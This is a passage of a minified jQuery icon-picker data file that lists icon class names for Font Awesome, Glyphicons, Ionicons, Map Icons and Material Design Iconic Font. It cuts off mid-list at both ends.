,"safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","shower","sign-in","sign-language","sign-out","signal","signing","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","snapchat","snapchat-ghost","snapchat-square","snowflake-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superpowers","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","telegram","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","themeisle","thermometer","thermometer-0","thermometer-1","thermometer-2","thermometer-3","thermometer-4","thermometer-empty","thermometer-full","thermometer-half","thermometer-quarter","thermometer-three-quarters","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","times-rectangle","times-rectangle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","universal-access","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-circle","user-circle-o","user-md","user-o","user-plus","user-secret","user-times","users","vcard","vcard-o","venus","venus-double","venus-mars","viacoin","viadeo","viadeo-square","video-camera","vimeo","vimeo-square","vine","vk","volume-control-phone","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wheelchair-alt","wifi","wikipedia-w","window-close","window-close-o","window-maximize","window-minimize","window-restore","windows","won","wordpress","wpbeginner","wpexplorer","wpforms","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","yoast","youtube","youtube-play","youtube-square"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_fontawesome=data}(jQuery);
!function($){var data={iconClass:"glyphicon",iconClassFix:"glyphicon-",icons:[],allVersions:[{version:"3.3.7",icons:["","adjust","align-center","align-justify","align-left","align-right","arrow-down","arrow-left","arrow-right","arrow-up","asterisk","backward","ban-circle","barcode","bell","bold","book","bookmark","briefcase","bullhorn","calendar","camera","certificate","check","chevron-down","chevron-left","chevron-right","chevron-up","circle-arrow-down","circle-arrow-left","circle-arrow-right","circle-arrow-up","cloud","cloud-download","cloud-upload","cog","collapse-down","collapse-up","comment","compressed","copyright-mark","credit-card","cutlery","dashboard","download","download-alt","earphone","edit","eject","envelope","euro","exclamation-sign","expand","export","eye-close","eye-open","facetime-video","fast-backward","fast-forward","file","film","filter","fire","flag","flash","floppy-disk","floppy-open","floppy-remove","floppy-save","floppy-saved","folder-close","folder-open","font","forward","fullscreen","gbp","gift","glass","globe","hand-down","hand-left","hand-right","hand-up","hd-video","hdd","header","headphones","heart","heart-empty","home","import","inbox","indent-left","indent-right","info-sign","italic","leaf","link","list","list-alt","lock","log-in","log-out","magnet","map-marker","minus","minus-sign","move","music","new-window","off","ok","ok-circle","ok-sign","open","paperclip","pause","pencil","phone","phone-alt","picture","plane","play","play-circle","plus","plus-sign","print","pushpin","qrcode","question-sign","random","record","refresh","registration-mark","remove","remove-circle","remove-sign","repeat","resize-full","resize-horizontal","resize-small","resize-vertical","retweet","road","save","saved","screenshot","sd-video","search","send","share","share-alt","shopping-cart","signal","sort","sort-by-alphabet","sort-by-alphabet-alt","sort-by-attributes","sort-by-attributes-alt","sort-by-order","sort-by-order-alt","sound-5-1","sound-6-1","sound-7-1","sound-dolby","sound-stereo","star","star-empty","stats","step-backward","step-forward","stop","subtitles","tag","tags","tasks","text-height","text-width","th","th-large","th-list","thumbs-down","thumbs-up","time","tint","tower","transfer","trash","tree-conifer","tree-deciduous","unchecked","upload","usd","user","volume-down","volume-off","volume-up","warning-sign","wrench","zoom-in","zoom-out"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_glyphicon=data}(jQuery);
!function($){var data={iconClass:"",iconClassFix:"ion-",icons:[],allVersions:[{version:"1.5.2",icons:["","alert","alert-circled","android-add","android-add-contact","android-alarm","android-archive","android-arrow-back","android-arrow-down-left","android-arrow-down-right","android-arrow-forward","android-arrow-up-left","android-arrow-up-right","android-battery","android-book","android-calendar","android-call","android-camera","android-chat","android-checkmark","android-clock","android-close","android-contact","android-contacts","android-data","android-developer","android-display","android-download","android-drawer","android-dropdown","android-earth","android-folder","android-forums","android-friends","android-hand","android-image","android-inbox","android-information","android-keypad","android-lightbulb","android-locate","android-location","android-mail","android-microphone","android-mixer","android-more","android-note","android-playstore","android-printer","android-promotion","android-reminder","android-remove","android-search","android-send","android-settings","android-share","android-social","android-social-user","android-sort","android-stair-drawer","android-star","android-stopwatch","android-storage","android-system-back","android-system-home","android-system-windows","android-timer","android-trash","android-user-menu","android-volume","android-wifi","aperture","archive","arrow-down-a","arrow-down-b","arrow-down-c","arrow-expand","arrow-graph-down-left","arrow-graph-down-right","arrow-graph-up-left","arrow-graph-up-right","arrow-left-a","arrow-left-b","arrow-left-c","arrow-move","arrow-resize","arrow-return-left","arrow-return-right","arrow-right-a","arrow-right-b","arrow-right-c","arrow-shrink","arrow-swap","arrow-up-a","arrow-up-b","arrow-up-c","asterisk","at","bag","battery-charging","battery-empty","battery-full","battery-half","battery-low","beaker","beer","bluetooth","bonfire","bookmark","briefcase","bug","calculator","calendar","camera","card","cash","chatbox","chatbox-working","chatboxes","chatbubble","chatbubble-working","chatbubbles","checkmark","checkmark-circled","checkmark-round","chevron-down","chevron-left","chevron-right","chevron-up","clipboard","clock","close","close-circled","close-round","closed-captioning","cloud","code","code-download","code-working","coffee","compass","compose","connection-bars","contrast","cube","disc","document","document-text","drag","earth","edit","egg","eject","email","eye","eye-disabled","female","filing","film-marker","fireball","flag","flame","flash","flash-off","flask","folder","fork","fork-repo","forward","funnel","game-controller-a","game-controller-b","gear-a","gear-b","grid","hammer","happy","headphone","heart","heart-broken","help","help-buoy","help-circled","home","icecream","image","images","information","information-circled","ionic","ios7-alarm","ios7-alarm-outline","ios7-albums","ios7-albums-outline","ios7-americanfootball","ios7-americanfootball-outline","ios7-analytics","ios7-analytics-outline","ios7-arrow-back","ios7-arrow-down","ios7-arrow-forward","ios7-arrow-left","ios7-arrow-right","ios7-arrow-thin-down","ios7-arrow-thin-left","ios7-arrow-thin-right","ios7-arrow-thin-up","ios7-arrow-up","ios7-at","ios7-at-outline","ios7-barcode","ios7-barcode-outline","ios7-baseball","ios7-baseball-outline","ios7-basketball","ios7-basketball-outline","ios7-bell","ios7-bell-outline","ios7-bolt","ios7-bolt-outline","ios7-bookmarks","ios7-bookmarks-outline","ios7-box","ios7-box-outline","ios7-briefcase","ios7-briefcase-outline","ios7-browsers","ios7-browsers-outline","ios7-calculator","ios7-calculator-outline","ios7-calendar","ios7-calendar-outline","ios7-camera","ios7-camera-outline","ios7-cart","ios7-cart-outline","ios7-chatboxes","ios7-chatboxes-outline","ios7-chatbubble","ios7-chatbubble-outline","ios7-checkmark","ios7-checkmark-empty","ios7-checkmark-outline","ios7-circle-filled","ios7-circle-outline","ios7-clock","ios7-clock-outline","ios7-close","ios7-close-empty","ios7-close-outline","ios7-cloud","ios7-cloud-download","ios7-cloud-download-outline","ios7-cloud-outline","ios7-cloud-upload","ios7-cloud-upload-outline","ios7-cloudy","ios7-cloudy-night","ios7-cloudy-night-outline","ios7-cloudy-outline","ios7-cog","ios7-cog-outline","ios7-compose","ios7-compose-outline","ios7-copy","ios7-copy-outline","ios7-download","ios7-download-outline","ios7-drag","ios7-email","ios7-email-outline","ios7-eye","ios7-eye-outline","ios7-fastforward","ios7-fastforward-outline","ios7-filing","ios7-filing-outline","ios7-film","ios7-film-outline","ios7-flag","ios7-flag-outline","ios7-folder","ios7-folder-outline","ios7-football","ios7-football-outline","ios7-gear","ios7-gear-outline","ios7-glasses","ios7-glasses-outline","ios7-heart","ios7-heart-outline","ios7-help","ios7-help-empty","ios7-help-outline","ios7-home","ios7-home-outline","ios7-infinite","ios7-infinite-outline","ios7-information","ios7-information-empty","ios7-information-outline","ios7-ionic-outline","ios7-keypad","ios7-keypad-outline","ios7-lightbulb","ios7-lightbulb-outline","ios7-location","ios7-location-outline","ios7-locked","ios7-locked-outline","ios7-loop","ios7-loop-strong","ios7-medkit","ios7-medkit-outline","ios7-mic","ios7-mic-off","ios7-mic-outline","ios7-minus","ios7-minus-empty","ios7-minus-outline","ios7-monitor","ios7-monitor-outline","ios7-moon","ios7-moon-outline","ios7-more","ios7-more-outline","ios7-musical-note","ios7-musical-notes","ios7-navigate","ios7-navigate-outline","ios7-paper","ios7-paper-outline","ios7-paperplane","ios7-paperplane-outline","ios7-partlysunny","ios7-partlysunny-outline","ios7-pause","ios7-pause-outline","ios7-paw","ios7-paw-outline","ios7-people","ios7-people-outline","ios7-person","ios7-person-outline","ios7-personadd","ios7-personadd-outline","ios7-photos","ios7-photos-outline","ios7-pie","ios7-pie-outline","ios7-play","ios7-play-outline","ios7-plus","ios7-plus-empty","ios7-plus-outline","ios7-pricetag","ios7-pricetag-outline","ios7-pricetags","ios7-pricetags-outline","ios7-printer","ios7-printer-outline","ios7-pulse","ios7-pulse-strong","ios7-rainy","ios7-rainy-outline","ios7-recording","ios7-recording-outline","ios7-redo","ios7-redo-outline","ios7-refresh","ios7-refresh-empty","ios7-refresh-outline","ios7-reload","ios7-reloading","ios7-reverse-camera","ios7-reverse-camera-outline","ios7-rewind","ios7-rewind-outline","ios7-search","ios7-search-strong","ios7-settings","ios7-settings-strong","ios7-skipbackward","ios7-skipbackward-outline","ios7-skipforward","ios7-skipforward-outline","ios7-snowy","ios7-speedometer","ios7-speedometer-outline","ios7-star","ios7-star-half","ios7-star-outline","ios7-stopwatch","ios7-stopwatch-outline","ios7-sunny","ios7-sunny-outline","ios7-telephone","ios7-telephone-outline","ios7-tennisball","ios7-tennisball-outline","ios7-thunderstorm","ios7-thunderstorm-outline","ios7-time","ios7-time-outline","ios7-timer","ios7-timer-outline","ios7-toggle","ios7-toggle-outline","ios7-trash","ios7-trash-outline","ios7-undo","ios7-undo-outline","ios7-unlocked","ios7-unlocked-outline","ios7-upload","ios7-upload-outline","ios7-videocam","ios7-videocam-outline","ios7-volume-high","ios7-volume-low","ios7-wineglass","ios7-wineglass-outline","ios7-world","ios7-world-outline","ipad","iphone","ipod","jet","key","knife","laptop","leaf","levels","lightbulb","link","load-a","load-b","load-c","load-d","loading-a","loading-b","loading-c","loading-d","location","locked","log-in","log-out","loop","looping","magnet","male","man","map","medkit","merge","mic-a","mic-b","mic-c","minus","minus-circled","minus-round","model-s","monitor","more","mouse","music-note","navicon","navicon-round","navigate","network","no-smoking","nuclear","outlet","paper-airplane","paperclip","pause","person","person-add","person-stalker","pie-graph","pin","pinpoint","pizza","plane","planet","play","playstation","plus","plus-circled","plus-round","podium","pound","power","pricetag","pricetags","printer","pull-request","qr-scanner","quote","radio-waves","record","refresh","refreshing","reply","reply-all","ribbon-a","ribbon-b","sad","scissors","search","settings","share","shuffle","skip-backward","skip-forward","social-android","social-android-outline","social-apple","social-apple-outline","social-bitcoin","social-bitcoin-outline","social-buffer","social-buffer-outline","social-designernews","social-designernews-outline","social-dribbble","social-dribbble-outline","social-dropbox","social-dropbox-outline","social-facebook","social-facebook-outline","social-foursquare","social-foursquare-outline","social-freebsd-devil","social-github","social-github-outline","social-google","social-google-outline","social-googleplus","social-googleplus-outline","social-hackernews","social-hackernews-outline","social-instagram","social-instagram-outline","social-linkedin","social-linkedin-outline","social-pinterest","social-pinterest-outline","social-reddit","social-reddit-outline","social-rss","social-rss-outline","social-skype","social-skype-outline","social-tumblr","social-tumblr-outline","social-tux","social-twitter","social-twitter-outline","social-usd","social-usd-outline","social-vimeo","social-vimeo-outline","social-windows","social-windows-outline","social-wordpress","social-wordpress-outline","social-yahoo","social-yahoo-outline","social-youtube","social-youtube-outline","speakerphone","speedometer","spoon","star","stats-bars","steam","stop","thermometer","thumbsdown","thumbsup","toggle","toggle-filled","trash-a","trash-b","trophy","umbrella","university","unlocked","upload","usb","videocamera","volume-high","volume-low","volume-medium","volume-mute","wand","waterdrop","wifi","wineglass","woman","wrench","xbox"]},{version:"2.0.1",icons:["","alert","alert-circled","android-add","android-add-circle","android-alarm-clock","android-alert","android-apps","android-archive","android-arrow-back","android-arrow-down","android-arrow-dropdown","android-arrow-dropdown-circle","android-arrow-dropleft","android-arrow-dropleft-circle","android-arrow-dropright","android-arrow-dropright-circle","android-arrow-dropup","android-arrow-dropup-circle","android-arrow-forward","android-arrow-up","android-attach","android-bar","android-bicycle","android-boat","android-bookmark","android-bulb","android-bus","android-calendar","android-call","android-camera","android-cancel","android-car","android-cart","android-chat","android-checkbox","android-checkbox-blank","android-checkbox-outline","android-checkbox-outline-blank","android-checkmark-circle","android-clipboard","android-close","android-cloud","android-cloud-circle","android-cloud-done","android-cloud-outline","android-color-palette","android-compass","android-contact","android-contacts","android-contract","android-create","android-delete","android-desktop","android-document","android-done","android-done-all","android-download","android-drafts","android-exit","android-expand","android-favorite","android-favorite-outline","android-film","android-folder","android-folder-open","android-funnel","android-globe","android-hand","android-hangout","android-happy","android-home","android-image","android-laptop","android-list","android-locate","android-lock","android-mail","android-map","android-menu","android-microphone","android-microphone-off","android-more-horizontal","android-more-vertical","android-navigate","android-notifications","android-notifications-none","android-notifications-off","android-open","android-options","android-people","android-person","android-person-add","android-phone-landscape","android-phone-portrait","android-pin","android-plane","android-playstore","android-print","android-radio-button-off","android-radio-button-on","android-refresh","android-remove","android-remove-circle","android-restaurant","android-sad","android-search","android-send","android-settings","android-share","android-share-alt","android-star","android-star-half","android-star-outline","android-stopwatch","android-subway","android-sunny","android-sync","android-textsms","android-time","android-train","android-unlock","android-upload","android-volume-down","android-volume-mute","android-volume-off","android-volume-up","android-walk","android-warning","android-watch","android-wifi","aperture","archive","arrow-down-a","arrow-down-b","arrow-down-c","arrow-expand","arrow-graph-down-left","arrow-graph-down-right","arrow-graph-up-left","arrow-graph-up-right","arrow-left-a","arrow-left-b","arrow-left-c","arrow-move","arrow-resize","arrow-return-left","arrow-return-right","arrow-right-a","arrow-right-b","arrow-right-c","arrow-shrink","arrow-swap","arrow-up-a","arrow-up-b","arrow-up-c","asterisk","at","backspace","backspace-outline","bag","battery-charging","battery-empty","battery-full","battery-half","battery-low","beaker","beer","bluetooth","bonfire","bookmark","bowtie","briefcase","bug","calculator","calendar","camera","card","cash","chatbox","chatbox-working","chatboxes","chatbubble","chatbubble-working","chatbubbles","checkmark","checkmark-circled","checkmark-round","chevron-down","chevron-left","chevron-right","chevron-up","clipboard","clock","close","close-circled","close-round","closed-captioning","cloud","code","code-download","code-working","coffee","compass","compose","connection-bars","contrast","crop","cube","disc","document","document-text","drag","earth","easel","edit","egg","eject","email","email-unread","erlenmeyer-flask","erlenmeyer-flask-bubbles","eye","eye-disabled","female","filing","film-marker","fireball","flag","flame","flash","flash-off","folder","fork","fork-repo","forward","funnel","gear-a","gear-b","grid","hammer","happy","happy-outline","headphone","heart","heart-broken","help","help-buoy","help-circled","home","icecream","image","images","information","information-circled","ionic","ios-alarm","ios-alarm-outline","ios-albums","ios-albums-outline","ios-americanfootball","ios-americanfootball-outline","ios-analytics","ios-analytics-outline","ios-arrow-back","ios-arrow-down","ios-arrow-forward","ios-arrow-left","ios-arrow-right","ios-arrow-thin-down","ios-arrow-thin-left","ios-arrow-thin-right","ios-arrow-thin-up","ios-arrow-up","ios-at","ios-at-outline","ios-barcode","ios-barcode-outline","ios-baseball","ios-baseball-outline","ios-basketball","ios-basketball-outline","ios-bell","ios-bell-outline","ios-body","ios-body-outline","ios-bolt","ios-bolt-outline","ios-book","ios-book-outline","ios-bookmarks","ios-bookmarks-outline","ios-box","ios-box-outline","ios-briefcase","ios-briefcase-outline","ios-browsers","ios-browsers-outline","ios-calculator","ios-calculator-outline","ios-calendar","ios-calendar-outline","ios-camera","ios-camera-outline","ios-cart","ios-cart-outline","ios-chatboxes","ios-chatboxes-outline","ios-chatbubble","ios-chatbubble-outline","ios-checkmark","ios-checkmark-empty","ios-checkmark-outline","ios-circle-filled","ios-circle-outline","ios-clock","ios-clock-outline","ios-close","ios-close-empty","ios-close-outline","ios-cloud","ios-cloud-download","ios-cloud-download-outline","ios-cloud-outline","ios-cloud-upload","ios-cloud-upload-outline","ios-cloudy","ios-cloudy-night","ios-cloudy-night-outline","ios-cloudy-outline","ios-cog","ios-cog-outline","ios-color-filter","ios-color-filter-outline","ios-color-wand","ios-color-wand-outline","ios-compose","ios-compose-outline","ios-contact","ios-contact-outline","ios-copy","ios-copy-outline","ios-crop","ios-crop-strong","ios-download","ios-download-outline","ios-drag","ios-email","ios-email-outline","ios-eye","ios-eye-outline","ios-fastforward","ios-fastforward-outline","ios-filing","ios-filing-outline","ios-film","ios-film-outline","ios-flag","ios-flag-outline","ios-flame","ios-flame-outline","ios-flask","ios-flask-outline","ios-flower","ios-flower-outline","ios-folder","ios-folder-outline","ios-football","ios-football-outline","ios-game-controller-a","ios-game-controller-a-outline","ios-game-controller-b","ios-game-controller-b-outline","ios-gear","ios-gear-outline","ios-glasses","ios-glasses-outline","ios-grid-view","ios-grid-view-outline","ios-heart","ios-heart-outline","ios-help","ios-help-empty","ios-help-outline","ios-home","ios-home-outline","ios-infinite","ios-infinite-outline","ios-information","ios-information-empty","ios-information-outline","ios-ionic-outline","ios-keypad","ios-keypad-outline","ios-lightbulb","ios-lightbulb-outline","ios-list","ios-list-outline","ios-location","ios-location-outline","ios-locked","ios-locked-outline","ios-loop","ios-loop-strong","ios-medical","ios-medical-outline","ios-medkit","ios-medkit-outline","ios-mic","ios-mic-off","ios-mic-outline","ios-minus","ios-minus-empty","ios-minus-outline","ios-monitor","ios-monitor-outline","ios-moon","ios-moon-outline","ios-more","ios-more-outline","ios-musical-note","ios-musical-notes","ios-navigate","ios-navigate-outline","ios-nutrition","ios-nutrition-outline","ios-paper","ios-paper-outline","ios-paperplane","ios-paperplane-outline","ios-partlysunny","ios-partlysunny-outline","ios-pause","ios-pause-outline","ios-paw","ios-paw-outline","ios-people","ios-people-outline","ios-person","ios-person-outline","ios-personadd","ios-personadd-outline","ios-photos","ios-photos-outline","ios-pie","ios-pie-outline","ios-pint","ios-pint-outline","ios-play","ios-play-outline","ios-plus","ios-plus-empty","ios-plus-outline","ios-pricetag","ios-pricetag-outline","ios-pricetags","ios-pricetags-outline","ios-printer","ios-printer-outline","ios-pulse","ios-pulse-strong","ios-rainy","ios-rainy-outline","ios-recording","ios-recording-outline","ios-redo","ios-redo-outline","ios-refresh","ios-refresh-empty","ios-refresh-outline","ios-reload","ios-reverse-camera","ios-reverse-camera-outline","ios-rewind","ios-rewind-outline","ios-rose","ios-rose-outline","ios-search","ios-search-strong","ios-settings","ios-settings-strong","ios-shuffle","ios-shuffle-strong","ios-skipbackward","ios-skipbackward-outline","ios-skipforward","ios-skipforward-outline","ios-snowy","ios-speedometer","ios-speedometer-outline","ios-star","ios-star-half","ios-star-outline","ios-stopwatch","ios-stopwatch-outline","ios-sunny","ios-sunny-outline","ios-telephone","ios-telephone-outline","ios-tennisball","ios-tennisball-outline","ios-thunderstorm","ios-thunderstorm-outline","ios-time","ios-time-outline","ios-timer","ios-timer-outline","ios-toggle","ios-toggle-outline","ios-trash","ios-trash-outline","ios-undo","ios-undo-outline","ios-unlocked","ios-unlocked-outline","ios-upload","ios-upload-outline","ios-videocam","ios-videocam-outline","ios-volume-high","ios-volume-low","ios-wineglass","ios-wineglass-outline","ios-world","ios-world-outline","ipad","iphone","ipod","jet","key","knife","laptop","leaf","levels","lightbulb","link","load-a","load-b","load-c","load-d","location","lock-combination","locked","log-in","log-out","loop","magnet","male","man","map","medkit","merge","mic-a","mic-b","mic-c","minus","minus-circled","minus-round","model-s","monitor","more","mouse","music-note","navicon","navicon-round","navigate","network","no-smoking","nuclear","outlet","paintbrush","paintbucket","paper-airplane","paperclip","pause","person","person-add","person-stalker","pie-graph","pin","pinpoint","pizza","plane","planet","play","playstation","plus","plus-circled","plus-round","podium","pound","power","pricetag","pricetags","printer","pull-request","qr-scanner","quote","radio-waves","record","refresh","reply","reply-all","ribbon-a","ribbon-b","sad","sad-outline","scissors","search","settings","share","shuffle","skip-backward","skip-forward","social-android","social-android-outline","social-angular","social-angular-outline","social-apple","social-apple-outline","social-bitcoin","social-bitcoin-outline","social-buffer","social-buffer-outline","social-chrome","social-chrome-outline","social-codepen","social-codepen-outline","social-css3","social-css3-outline","social-designernews","social-designernews-outline","social-dribbble","social-dribbble-outline","social-dropbox","social-dropbox-outline","social-euro","social-euro-outline","social-facebook","social-facebook-outline","social-foursquare","social-foursquare-outline","social-freebsd-devil","social-github","social-github-outline","social-google","social-google-outline","social-googleplus","social-googleplus-outline","social-hackernews","social-hackernews-outline","social-html5","social-html5-outline","social-instagram","social-instagram-outline","social-javascript","social-javascript-outline","social-linkedin","social-linkedin-outline","social-markdown","social-nodejs","social-octocat","social-pinterest","social-pinterest-outline","social-python","social-reddit","social-reddit-outline","social-rss","social-rss-outline","social-sass","social-skype","social-skype-outline","social-snapchat","social-snapchat-outline","social-tumblr","social-tumblr-outline","social-tux","social-twitch","social-twitch-outline","social-twitter","social-twitter-outline","social-usd","social-usd-outline","social-vimeo","social-vimeo-outline","social-whatsapp","social-whatsapp-outline","social-windows","social-windows-outline","social-wordpress","social-wordpress-outline","social-yahoo","social-yahoo-outline","social-yen","social-yen-outline","social-youtube","social-youtube-outline","soup-can","soup-can-outline","speakerphone","speedometer","spoon","star","stats-bars","steam","stop","thermometer","thumbsdown","thumbsup","toggle","toggle-filled","transgender","trash-a","trash-b","trophy","tshirt","tshirt-outline","umbrella","university","unlocked","upload","usb","videocamera","volume-high","volume-low","volume-medium","volume-mute","wand","waterdrop","wifi","wineglass","woman","wrench","xbox"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_ionicon=data}(jQuery);
!function($){var data={iconClass:"",iconClassFix:"map-icon-",icons:[],allVersions:[{version:"2.1.0",icons:["","abseiling","accounting","airport","amusement-park","aquarium","archery","art-gallery","assistive-listening-system","atm","audio-description","bakery","bank","bar","baseball","beauty-salon","bicycle-store","bicycling","boat-ramp","boat-tour","boating","book-store","bowling-alley","braille","bus-station","cafe","campground","canoe","car-dealer","car-rental","car-repair","car-wash","casino","cemetery","chairlift","church","circle","city-hall","climbing","closed-captioning","clothing-store","compass","convenience-store","courthouse","cross-country-skiing","crosshairs","dentist","department-store","diving","doctor","electrician","electronics-store","embassy","expand","female","finance","fire-station","fish-cleaning","fishing","fishing-pier","florist","food","fullscreen","funeral-home","furniture-store","gas-station","general-contractor","golf","grocery-or-supermarket","gym","hair-care","hang-gliding","hardware-store","health","hindu-temple","horse-riding","hospital","ice-fishing","ice-skating","inline-skating","insurance-agency","jet-skiing","jewelry-store","kayaking","laundry","lawyer","library","liquor-store","local-government","location-arrow","locksmith","lodging","low-vision-access","male","map-pin","marina","mosque","motobike-trail","movie-rental","movie-theater","moving-company","museum","natural-feature","night-club","open-captioning","painter","park","parking","pet-store","pharmacy","physiotherapist","place-of-worship","playground","plumber","point-of-interest","police","political","post-box","post-office","postal-code","postal-code-prefix","rafting","real-estate-agency","restaurant","roofing-contractor","route","route-pin","rv-park","sailing","school","scuba-diving","search","sheild","shopping-mall","sign-language","skateboarding","ski-jumping","skiing","sledding","snow","snow-shoeing","snowboarding","snowmobile","spa","square","square-pin","square-rounded","stadium","storage","store","subway-station","surfing","swimming","synagogue","taxi-stand","tennis","toilet","trail-walking","train-station","transit-station","travel-agency","unisex","university","veterinary-care","viewing","volume-control-telephone","walking","waterskiing","whale-watching","wheelchair","wind-surfing","zoo","zoom-in","zoom-in-alt","zoom-out","zoom-out-alt"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_mapicon=data}(jQuery);
!function($){var data={iconClass:"zmdi",iconClassFix:"zmdi-",icons:[],allVersions:[{version:"2.0.0",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-wo